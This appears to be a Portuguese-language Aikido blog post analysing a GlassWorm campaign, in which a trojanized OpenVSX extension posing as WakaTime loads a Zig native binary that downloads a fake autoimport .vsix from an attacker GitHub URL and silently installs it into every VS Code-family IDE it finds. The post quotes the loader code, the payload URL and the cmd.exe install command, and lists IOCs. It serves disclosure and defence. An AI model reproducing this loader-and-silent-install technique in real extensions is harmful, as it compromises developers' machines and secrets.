Aikido

GlassWorm se torna nativo: Novo dropper Zig infecta todas as IDEs em sua máquina

Escrito por
Ilyas Makari

Temos rastreado GlassWorm há mais de um ano. Ele apareceu pela primeira vez em Março de 2025, quando a Aikido descobriu pacotes npm maliciosos escondendo payloads dentro de caracteres Unicode invisíveis. A campanha se expandiu repetidamente desde então, comprometendo centenas de projetos no GitHub, npm e VS Code, e mais recentemente entregando um RAT persistente através de uma extensão falsa do Chrome que registrava as teclas digitadas e extraía cookies de sessão. O grupo continua iterando, e eles acabaram de dar um salto significativo.

Observamos esta nova técnica em uma extensão OpenVSX chamada code-wakatime-activity-tracker. A extensão personifica WakaTime, a popular ferramenta de rastreamento de tempo para desenvolvedores, e distribui um binário nativo compilado em Zig junto com seu código JavaScript. Esta não é a primeira vez que GlassWorm recorre ao uso de código nativo compilado em extensões. No entanto, em vez de usar o binário como payload diretamente, ele é usado como uma indireção furtiva para o conhecido dropper GlassWorm, que agora infecta secretamente todas as outras IDEs que pode encontrar em seu sistema.

O dropper: uma extensão trojanizada

A extensão code-wakatime-activity-tracker, publicada no OpenVSX, é quase idêntica à extensão legítima do WakaTime na superfície: os mesmos registros de comando, os mesmos prompts de chave API, os mesmos ícones da barra de status. A divergência ocorre em um único lugar: o activate() função.

const bw = process.platform === "win32" ? "./bin/win.node" : "./bin/mac.node";
const { install } = require(bw);
install();

Antes que qualquer lógica do WakaTime seja executada, a extensão carrega um binário nativo do ./bin/ diretório empacotado junto com a extensão e imediatamente chama install(). No Windows, este é win.node, uma DLL PE32+. No macOS, é mac.node, um Mach-O universal que abrange x86_64 e arm64. São addons nativos do Node.js: bibliotecas compartilhadas compiladas que carregam diretamente no runtime do Node e executam fora do sandbox JavaScript com acesso total ao nível do sistema operacional. Ambos são escritos em Zig. O binário do macOS foi compilado com símbolos de depuração intactos, revelando um caminho de projeto /Users/davidioasd/Downloads/vsx_installer_zig.

Infectando cada IDE na máquina

Uma vez carregado, o primeiro trabalho do binário é encontrar cada IDE instalada na máquina que suporta o formato de extensão do VS Code. Ele então instala silenciosamente uma extensão maliciosa em cada um que encontra.

Windows (de win.node):

%LOCALAPPDATA%\Programas\Microsoft VS Code\bin\code.cmd
%LOCALAPPDATA%\Programas\Microsoft VS Code Insiders\bin\code-insiders.cmd
%LOCALAPPDATA%\Programas\cursor\resources\app\bin\cursor.cmd
%LOCALAPPDATA%\Programas\windsurf\resources\app\bin\windsurf.cmd
%LOCALAPPDATA%\Programas\VSCodium\resources\app\bin\codium.cmd
%LOCALAPPDATA%\Programas\Positron\resources\app\bin\positron.cmd
%ProgramFiles%\Microsoft VS Code\bin\code.cmd
%ProgramFiles%\Positron\resources\app\bin\positron.cmd

macOS (de mac.node):

/Aplicativos/Visual Studio Code.app/Conteúdo/Recursos/app/bin/code
/Aplicativos/Visual Studio Code - Insiders.app/.../code-insiders
/Aplicativos/Cursor.app/Conteúdo/Recursos/app/bin/cursor
/Aplicativos/Windsurf.app/Conteúdo/Recursos/app/bin/windsurf
/Aplicativos/VSCodium.app/Conteúdo/Recursos/app/bin/codium
/Aplicativos/Positron.app/Conteúdo/Recursos/app/bin/positron

Este não é um ataque exclusivo do VS Code: ele abrange todo o ecossistema de editores que compartilham o mesmo sistema de extensão: VS Code, VS Code Insiders, Cursor, Windsurf, VSCodium e Positron. Um desenvolvedor usando o Cursor como seu editor principal, mas com o VS Code também instalado, encontraria ambos comprometidos.


Com a lista de IDEs construída, o binário busca um malicioso .vsix de uma página do GitHub Releases controlada pelo atacante:

https://github.com/ColossusQuailPray/oiegjqde/releases/download/12/autoimport-2.7.9.vsix

O pacote se passa por steoates.autoimport, uma extensão legítima e popular do VS Code com milhões de instalações. O arquivo baixado .vsix é gravado em um caminho temporário, então instalado silenciosamente em cada IDE encontrada na etapa anterior usando o instalador CLI de cada editor. No Windows, isso é executado através de cmd.exe:

cmd.exe /d /e:ON /v:OFF /c "<ide_path> --install-extension <vsix_path>"

Após a instalação, cleanupVsix exclui o arquivo baixado para remover as evidências.

A extensão de segunda etapa

O .vsix forçado é o mesmo dropper GlassWorm que temos rastreado e analisado em profundidade. Ele faz geofencing em sistemas russos, envia beacons para um C2 baseado na blockchain Solana e, em nossa análise anterior, descobrimos que ele realiza exfiltração de segredos e instala um RAT persistente, incluindo uma extensão maliciosa do Chrome.

Como a Aikido detecta isso

Se você instalou specstudio/code-wakatime-activity-tracker ou ver floktokbok.autoimport em qualquer uma das suas listas de extensões IDE, trate sua máquina como comprometida e rotacione quaisquer Secrets que poderiam ter sido acessados.

Se você é um usuário Aikido, verifique seu feed central e filtre por problemas de malware. Isso aparecerá como um problema crítico 100/100. O Aikido reanalisa todas as noites, mas recomendamos acionar uma reanálise manual agora.

Se você ainda não é um usuário Aikido, pode criar uma conta e conectar seus repositórios. Nossa cobertura de malware está incluída no plano gratuito, não é necessário cartão de crédito.

Para uma cobertura mais ampla em toda a sua equipe, o Endpoint Protection do Aikido oferece visibilidade e controle sobre os pacotes de software instalados nos dispositivos da sua equipe. Ele abrange extensões de navegador, bibliotecas de código, plugins de IDE e dependências de build, tudo em um só lugar. Impeça o malware antes que ele seja instalado.

Para proteção futura, considere o Aikido Safe Chain (código aberto). O Safe Chain se integra ao seu fluxo de trabalho existente, interceptando comandos npm, npx, yarn, pnpm e pnpx e verificando pacotes contra o Aikido Intel antes da instalação.

IOCs

Extensões

  • specstudio/code-wakatime-activity-tracker (extensão OpenVSX trojanizada)
  • autoimport-2.7.9 (implante de segunda etapa em IDEs)

Arquivos

  • win.node dentro do diretório ./bin/ de qualquer extensão do VS Code
    • SHA-256: 2819ea44e22b9c47049e86894e544f3fd0de1d8afc7b545314bd3bc718bf2e02
  • mac.node dentro do diretório ./bin/ de qualquer extensão do VS Code
    • SHA-256: 112d1b33dd9b0244525f51e59e6a79ac5ae452bf6e98c310e7b4fa7902e4db44

Rede

  • https://github[.]com/ColossusQuailPray/oiegjqde/releases/download/12/autoimport-2.7.9.vsix

Strings

  • vsx_installer_zig (nome do projeto Zig encontrado no binário do macOS)
  • davidioasd (Nome de usuário encontrado no binário do macOS)
Compartilhar:

https://www.aikido.dev/blog/glassworm-zig-dropper-infects-every-ide-on-your-machine

Assine para receber notícias

4.7/5
Cansado de falsos positivos?

Experimente Aikido como 100 mil outros.
Começar Agora
Obtenha um tour personalizado

Confiado por mais de 100 mil equipes

Agende Agora
Escaneie seu aplicativo em busca de IDORs e caminhos de ataque reais

Confiado por mais de 100 mil equipes

Iniciar Escaneamento
Veja como o pentest de IA testa seu aplicativo

Confiado por mais de 100 mil equipes

Iniciar Testes
Escaneie seus repositórios em busca de ataques GlassWorm

Confiado por 100 mil equipes

Comece gratuitamente

Fique seguro agora

Proteja seu código, Cloud e runtime em um único sistema centralizado.
Encontre e corrija vulnerabilidades rapidamente de forma automática.

Não é necessário cartão de crédito | Resultados da varredura em 32 segundos.